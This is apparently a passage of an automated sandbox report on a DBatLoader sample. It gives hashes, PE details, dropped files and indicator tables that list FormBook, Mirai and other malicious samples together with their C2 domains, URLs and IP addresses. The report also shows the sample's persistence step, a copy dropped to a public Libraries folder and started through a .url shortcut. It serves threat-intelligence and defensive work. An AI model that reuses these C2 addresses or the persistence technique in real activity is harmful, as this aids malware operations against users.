	qeUNNruKMS.exe	Get hash	malicious	FormBook	Browse	www.detail.tips/ug0e/?xGgP0=/sYbaCMyVKUweyZqxZmWwv4r7cKEdyFMx5i/AVkPxJXLdrztci0N39LYxFfcAnRsf0n5uCI95iaxL3pmdgVmzYXgBkUxTDmNB8Ki8FQ2d3iV&Ck=YjGWWgtgIy
	FedEx Shipment doc.exe	Get hash	malicious	FormBook	Browse	www.detail.tips/ug0e/?uTe=/sYbaCMyVKUweyZqxZmWwv4r7cKEdyFMx5i/AVkPxJXLdrztci0N39LYxFfcAnRsf0n5uCI95iaxL3pmdgVmzYXgBkUxTDmNB8Ki8FQ2d3iV&C6qk1=WsHtTdU

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.hivaom.top	9008654324456.exe	Get hash	malicious	FormBook	Browse	156.237.159.158
	003425425124526.exe	Get hash	malicious	DBatLoader, FormBook	Browse	156.237.159.158
	Domgxpvqtdfgvx.exe	Get hash	malicious	DBatLoader, FormBook	Browse	156.237.159.158
	Hubnnuiisapctu.exe	Get hash	malicious	DBatLoader, FormBook	Browse	156.237.159.158
	Tcnpdxsfourrbk.exe	Get hash	malicious	DBatLoader, FormBook	Browse	156.237.159.158
www.maltsky.net	Tcnpdxsfourrbk.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.140.89.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PRTL-DE	mZoYf6Nezj.exe	Get hash	malicious	FormBook	Browse	62.72.62.121
	new_order_C00382023.exe	Get hash	malicious	FormBook	Browse	62.72.50.8
	9008654324456.exe	Get hash	malicious	FormBook	Browse	62.72.50.88
	RFQ_034-3105-Ashworth.pdf.exe	Get hash	malicious	FormBook	Browse	62.72.50.8
	wsxK69ydcg.dll	Get hash	malicious	JanelaRAT	Browse	62.72.22.134
	wsxK69ydcg.dll	Get hash	malicious	JanelaRAT	Browse	62.72.22.134
	x8TRXHYzP6.exe	Get hash	malicious	FormBook, NSISDropper	Browse	62.72.50.217
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	62.72.37.54
	SecuriteInfo.com.FileRepMalware.2839.30700.exe	Get hash	malicious	FormBook, NSISDropper	Browse	62.72.28.110
	New_order_98987006305#.doc	Get hash	malicious	FormBook, NSISDropper	Browse	62.72.37.54
	about.md.ps1	Get hash	malicious	Unknown	Browse	62.72.22.30
	up.ps1	Get hash	malicious	Unknown	Browse	62.72.22.30
	md.ps1	Get hash	malicious	Unknown	Browse	62.72.22.30
	8.ps1	Get hash	malicious	Unknown	Browse	62.72.22.30
	Purchase_Order.exe	Get hash	malicious	FormBook	Browse	62.72.50.34
	Quote_Request.exe	Get hash	malicious	FormBook	Browse	62.72.37.60
	bot.arm.elf	Get hash	malicious	Mirai	Browse	62.72.27.201
	bot.x86.elf	Get hash	malicious	Mirai	Browse	62.72.27.201
	bot.arm5.elf	Get hash	malicious	Mirai	Browse	62.72.27.201
	bot.mips.elf	Get hash	malicious	Mirai	Browse	62.72.27.201
TEAMINTERNET-CA-ASCA	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	104.247.82.52
	http://lightenacquired.xyz	Get hash	malicious	Unknown	Browse	104.247.82.51
	http://lightenacquired.xyz	Get hash	malicious	Unknown	Browse	104.247.82.51
	Payment_$5,860.exe	Get hash	malicious	FormBook, NSISDropper	Browse	104.247.82.91
	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	104.247.81.53
	Statement_Pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	104.247.82.91
	https://cookiescriptcdn.pro	Get hash	malicious	Unknown	Browse	104.247.81.210
	Order_QR-00658.exe	Get hash	malicious	FormBook, NSISDropper	Browse	104.247.82.92
	THP-20381508-2023NP.exe	Get hash	malicious	FormBook, NSISDropper	Browse	104.247.82.91
	svcVJ3Ljwp.exe	Get hash	malicious	FormBook, NSISDropper	Browse	104.247.82.90
	RFQ-T56797W.xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	104.247.82.90
	SecuriteInfo.com.Trojan.NSISX.Spy.Gen.24.14213.13511.exe	Get hash	malicious	FormBook, NSISDropper	Browse	104.247.82.92
	https://rj2bocejarqnpuhm.browsetor.com	Get hash	malicious	Unknown	Browse	104.247.81.51
	hRdqscagvv.exe	Get hash	malicious	FormBook	Browse	104.247.82.94
	Scan.0893700083-SSG803.exe	Get hash	malicious	FormBook	Browse	104.247.82.93
	Bhl9bymdkI.exe	Get hash	malicious	FormBook	Browse	104.247.82.94
	GCeHcfCef8.exe	Get hash	malicious	FormBook	Browse	104.247.82.51
	R56wchKh1g.exe	Get hash	malicious	FormBook, NSISDropper	Browse	104.247.82.90
	Quote_Request.exe	Get hash	malicious	FormBook	Browse	104.247.82.91
	Hgh7WMRLzKPX09P.exe	Get hash	malicious	FormBook	Browse	104.247.82.90
TRANSIP-ASAmsterdamtheNetherlandsNL	Product_Specs.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.97.254.27
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	25-23PJSM-653.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.97.254.27
	PAGAMENTO_INV-85732.exe	Get hash	malicious	FormBook, NSISDropper	Browse	37.97.254.27
	file.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	kTnqWHyjjG.elf	Get hash	malicious	Mirai	Browse	95.170.75.142
	Order_confirmation,_Invoice.exe	Get hash	malicious	DBatLoader, FormBook	Browse	37.97.254.27
	ZenY9BAc8B.elf	Get hash	malicious	Mirai	Browse	185.211.251.125
	F00D0B21M4.elf	Get hash	malicious	Mirai	Browse	37.97.214.109
	INV#761538.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	137-AGROCHLOPECKI_OFFER_list.xls	Get hash	malicious	FormBook	Browse	37.97.254.27
	QISOVbNi9M.elf	Get hash	malicious	Mirai	Browse	95.170.75.168
	NNL_PO_1023008.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.97.254.27
	003425425124526.exe	Get hash	malicious	DBatLoader, FormBook	Browse	37.97.254.27
	Document.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	ut3u2l5ZlK.elf	Get hash	malicious	Mirai	Browse	95.170.75.197
	sora.x86.elf	Get hash	malicious	Mirai	Browse	149.210.216.118
	RF_-_ORDER_8990387_REQUEST.exe	Get hash	malicious	FormBook	Browse	86.105.245.69
	arm.elf	Get hash	malicious	Mirai	Browse	149.210.216.117
	ACH Remittance Statement on October 17 2023 at 023544 AM.msg	Get hash	malicious	HTMLPhisher	Browse	136.144.209.194

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Telragab.PIF_cd7ef5a2dc1b4e7443fc1fa25c3269aae2ef6f4_6406e3d8_80c3d30a-2e8b-49e2-b895-67a018884a02\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0904543046591975
Encrypted:	false
SSDEEP:	96:9nFBpOykjsghhoI7Jf7QXIDcQvc6QcEVcw3cE/ME/+HbHgnoW6He4sFEh5Lk4Mb9:183jg0BU/AjUFLcUl3zuiF1Z24IO8o
MD5:	A0FA6046F81A9B088F25EDB1B8056C6A
SHA1:	D3F14291D15657E76785C11955C89307CCE65D6F
SHA-256:	DAC5F0916DF55F879D19FE052011F5B896B00C9D0F4DF292FE9A6E61E5B03753
SHA-512:	1C457C3BBA34A9C6A308B35495180E3C6FB45570F9E14C7A7834445D29A14D7E3314E75C81424D3223F818EB627C4F2725DA10AC4CB50CE9777F1BF29FCBA725
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.5.8.2.6.2.1.5.1.8.1.4.5.1.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.5.8.2.6.2.1.5.9.3.0.4.1.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.0.c.3.d.3.0.a.-.2.e.8.b.-.4.9.e.2.-.b.8.9.5.-.6.7.a.0.1.8.8.8.4.a.0.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.6.d.8.e.a.1.9.-.6.0.e.2.-.4.4.f.6.-.a.2.6.e.-.c.f.0.4.9.6.e.5.d.b.7.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.T.e.l.r.a.g.a.b...P.I.F.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.1.7.0.-.0.0.0.1.-.0.0.1.5.-.b.6.2.7.-.a.e.0.9.9.5.2.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.a.3.f.b.a.d.5.0.7.6.5.1.9.6.1.a.3.2.8.a.3.7.8.d.7.e.3.f.d.8.5.0.0.0.0.f.f.f.f.!.0.0.0.0.c.f.6.a.2.b.1.b.a.9.8.b.f.3.0.3.e.9.3.b.4.0.7.0.9.1.9.e.c.1.c.d.3.0.2.6.2.3.7.7.!.T.e.l.r.a.g.a.b...P.I.F.....T.a.r.g.e.t.A.p.p.V.e.r.=.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD3B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Nov 30 13:56:55 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	129720
Entropy (8bit):	2.0975375590264504
Encrypted:	false
SSDEEP:	768:UOPEdxUX+hHSBnJ1kgUBDLiA1MCuDv+ahrNC:UOHJrUBD71A+ahr4
MD5:	0E869B364F345A22BC9E2602125CC1F9
SHA1:	86ECF4BFED405C3CD49E5D34AC2C7E7BF7096AD1
SHA-256:	1A2CAC372A54D615EB3C858124B8E13094DA36339570B257C7D3EBB3561764F7
SHA-512:	C014CA857F7F901DC2628E31BC3D665023ED8155A40A715D8A1238639C6D91FA4C6B8091763B84270746859545BDF296D964718631278B8BCEBB15EDC57A753E
Malicious:	false
Preview:	MDMP..a..... .........he............D...............X............&...........`..........`.......8...........T...........pT..H............,..........................................................................................eJ..............GenuineIntel............T.......p.....he............................. ..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFEE2.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8370
Entropy (8bit):	3.7003910711769294
Encrypted:	false
SSDEEP:	192:R6l7wVeJxC6wYZ6Y2D8SUQRig2gmfACpr689bosTsfIqKm:R6lXJE6D6YBSU0ig2gmfA8os4fn7
MD5:	DFF139A0FD2EB5B90FB7CF5B2E45427F
SHA1:	CD873B43A740C5774AB958266E2A8EBF35001E61
SHA-256:	9E5BC0D2A615852BF73029C81BA20D44FF398BA9464DE569694F5B7D9F09EA05
SHA-512:	D7B465B6C3182CF8A9E16D78690B40F1053026E5B4E32FBAFB6525B83385D60641353F1E157AC573F639187E975569837342D5D9FA0DE4BD7ED3074A952DCB23
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.6.8.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF12.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	4.477773674076699
Encrypted:	false
SSDEEP:	48:cvIwWl8zsxZJg77aI9qVWpW8VYNPYm8M4JAxGFQ+q8CN5YggWydd:uIjfpI7gk7VESJALYggWydd
MD5:	D0362946E470C127C856B35D1E6CA454
SHA1:	3C60ABDA81066F453069385A4F73BE1ECD1812B8
SHA-256:	BEA6C6CA1C576C5400C97E7EF7D74BD81361A82B1A5A42942EE923C5E592028D
SHA-512:	B9E32A4A6364DDC59AA4FA7833CEA313F4518F1B44DF63638AAEC4F6414B2F5680CEF267D6EBEEEDC269AD05521745BD3AB4072EB17CF62AE2D988C07726310E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="83819" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096

C:\Users\Public\Libraries\Telragab.PIF

Download File

Process:	C:\Users\user\Desktop\Fpopgapwdcgvxn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2403840
Entropy (8bit):	7.682310515830663
Encrypted:	false
SSDEEP:	49152:UkQzWGa8pH8yc0/wU2lpe63ZrxKrVEbRIqiPt415Fehg1mQ5C:UNqGa8pcyV/wjpdZrxEVEtI14xqn
MD5:	072D323C28E7BA4D63EB7DF9894F33C9
SHA1:	CF6A2B1BA98BF303E93B4070919EC1CD30262377
SHA-256:	D164C7CE3856705552A7DCD91F577C12162D5EB522153E33E91F86536CAC5FB2
SHA-512:	348E888F90E8582BE54ACC4C39D9531EC333A3F9DEB5C7CC1C4D6DBF2CC094CBB744438D87D6D3A2357D2E2BE7141412744287249B465EB39217A3F0CFFB0A23
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\Public\Libraries\Telragab.PIF, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................H.............@...........................%..................@............................".z$...`#......................."..n............................".....................................................CODE................................ ..`DATA................................@...BSS..........."......r"..................idata..z$...."..&...r".............@....tls.........."......."..................rdata........".......".............@..P.reloc...n...."..p....".............@..P.rsrc........`#.......#.............@..P..............%.......$.............@..P........................................................................................................................................

C:\Users\Public\Telragab.url

Download File

Process:	C:\Users\user\Desktop\Fpopgapwdcgvxn.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Telragab.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	99
Entropy (8bit):	5.00911795347448
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMqCajSsb5itKlv:HRYFVmTWDyzME5OK1
MD5:	4B33C52B0816C75AB35475CE6BF00E69
SHA1:	929F5ABCEA017613C901C185D58DFAC7F3FA1055
SHA-256:	22B4C7336EDB302C60B225DE9A971A8D4535DEC942FD24EBF239E3E7E9319DE2
SHA-512:	5DE9B3DE078C3A62E5AAB3E9E38CE1AC4C9843727E9BD60E1DBDF70102C56A55AE78CBDBDFEB2BFDE51AB3AFC96A3CAD7FB37AA94C7B9260673C4A809D34759A
Malicious:	false
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Telragab.PIF"..IconIndex=12..HotKey=3..

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1022
Entropy (8bit):	5.215200866635182
Encrypted:	false
SSDEEP:	24:YqHZ6T06MhmamGgb0O0bihmVmGg6CUXyhmGNmGgbxdB6hm3mGgz0Jahm2mGgbNdh:YqHZ6T06McDTb0O0bic4TDUXycRTbxd/
MD5:	BA8512A1180143F7620E106FB9DF5F43
SHA1:	2EF20B9029C7C89ED134DD87F6A9403D4103031F
SHA-256:	171640BF14335CC6403F09E4C72C11146C7393E63A9273C71B98C2D456202BA9
SHA-512:	2B83F9321A98090269D610D552C19B06136719FCD9F310437B2852F938DED711A1D09EABF017BF9AAEA980F68CEC6703234808A5CAB74C9A52AE4903A0DAE797
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":3053123472,"LastSwitchedHighPart":31061843,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":3043123472,"LastSwitchedHighPart":31061843,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":3033123472,"LastSwitchedHighPart":31061843,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":3023123472,"LastSwitchedHighPart":31061843,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":3013123472,"LastSwitchedHighPart":31061843,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":3003123472,"LastSwitchedHighPart":31061843,

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.682310515830663
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	Fpopgapwdcgvxn.exe
File size:	2'403'840 bytes
MD5:	072d323c28e7ba4d63eb7df9894f33c9
SHA1:	cf6a2b1ba98bf303e93b4070919ec1cd30262377
SHA256:	d164c7ce3856705552a7dcd91f577c12162d5eb522153e33e91f86536cac5fb2
SHA512:	348e888f90e8582be54acc4c39d9531ec333a3f9deb5c7cc1c4d6dbf2cc094cbb744438d87d6d3a2357d2e2be7141412744287249b465eb39217a3f0cffb0a23
SSDEEP:	49152:UkQzWGa8pH8yc0/wU2lpe63ZrxKrVEbRIqiPt415Fehg1mQ5C:UNqGa8pcyV/wjpdZrxEVEtI14xqn
TLSH:	58B5F112D5A18833D4F3177A8D4AAF7869263DC09F28B4C5F2DA7C8C76B834567241FA
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	091ad4d45274bc4d

Static PE Info

General

Entrypoint:	0x45f248
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	68296516c32d32fc3260fa762049f34e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0045F060h
call 00007FF2D4DB50ADh
mov eax, dword ptr [0062871Ch]
mov eax, dword ptr [eax]
call 00007FF2D4E048C9h
mov ecx, dword ptr [0062880Ch]
mov eax, dword ptr [0062871Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0045E4E4h]
call 00007FF2D4E048C9h
mov eax, dword ptr [0062871Ch]
mov eax, dword ptr [eax]
call 00007FF2D4E0493Dh
call 00007FF2D4DB2E10h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x22a000	0x247a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x236000	0x1a400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x22f000	0x6ec4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x22e000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x5e290	0x5e400	False	0.5204948607427056	data	6.538043127568022	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x60000	0x1c88a0	0x1c8a00	False	0.8356733763345195	data	7.7565677030373665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x229000	0xc91	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x22a000	0x247a	0x2600	False	0.3521792763157895	data	4.91843705755274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x22d000	0x10	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x22e000	0x18	0x200	False	0.05078125	data	0.186582516434666	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x22f000	0x6ec4	0x7000	False	0.6327427455357143	data	6.685586013840769	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x236000	0x1a400	0x1a400	False	0.1939267113095238	data	4.777981358404081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_CURSOR	0x236860	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	0.38636363636363635
RT_CURSOR	0x236994	0x134	data	0.4642857142857143
RT_CURSOR	0x236ac8	0x134	data	0.4805194805194805
RT_CURSOR	0x236bfc	0x134	data	0.38311688311688313
RT_CURSOR	0x236d30	0x134	data	0.36038961038961037
RT_CURSOR	0x236e64	0x134	data	0.4090909090909091
RT_CURSOR	0x236f98	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	0.4967532467532468
RT_ICON	0x2370cc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	0.6533687943262412
RT_ICON	0x237534	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	0.36585365853658536
RT_ICON	0x2385dc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	0.23973029045643154
RT_ICON	0x23ab84	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	0.18304204062352386
RT_ICON	0x23edac	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736, resolution 3779 x 3779 px/m	0.16423290203327173
RT_ICON	0x244234	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 3779 x 3779 px/m	0.12849484969518604
RT_STRING	0x24d6dc	0x1d4	data	0.4893162393162393
RT_STRING	0x24d8b0	0x1d8	data	0.3983050847457627
RT_STRING	0x24da88	0x198	data	0.4877450980392157
RT_STRING	0x24dc20	0x174	data	0.5161290322580645
RT_STRING	0x24dd94	0x278	data	0.46835443037974683
RT_STRING	0x24e00c	0xe8	data	0.5905172413793104
RT_STRING	0x24e0f4	0x1d4	data	0.5042735042735043
RT_STRING	0x24e2c8	0x450	data	0.3695652173913043
RT_STRING	0x24e718	0x35c	data	0.38953488372093026
RT_STRING	0x24ea74	0x3e8	data	0.33
RT_STRING	0x24ee5c	0x234	data	0.475177304964539
RT_STRING	0x24f090	0xec	data	0.5508474576271186
RT_STRING	0x24f17c	0x1b4	data	0.5206422018348624
RT_STRING	0x24f330	0x3e4	data	0.32028112449799195
RT_STRING	0x24f714	0x358	data	0.4158878504672897
RT_STRING	0x24fa6c	0x2b4	data	0.4060693641618497
RT_RCDATA	0x24fd20	0x10	data	1.5
RT_RCDATA	0x24fd30	0x278	data	0.7389240506329114
RT_RCDATA	0x24ffa8	0x219	Delphi compiled form 'TForm1'	0.6815642458100558
RT_GROUP_CURSOR	0x2501c4	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.25
RT_GROUP_CURSOR	0x2501d8	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.25
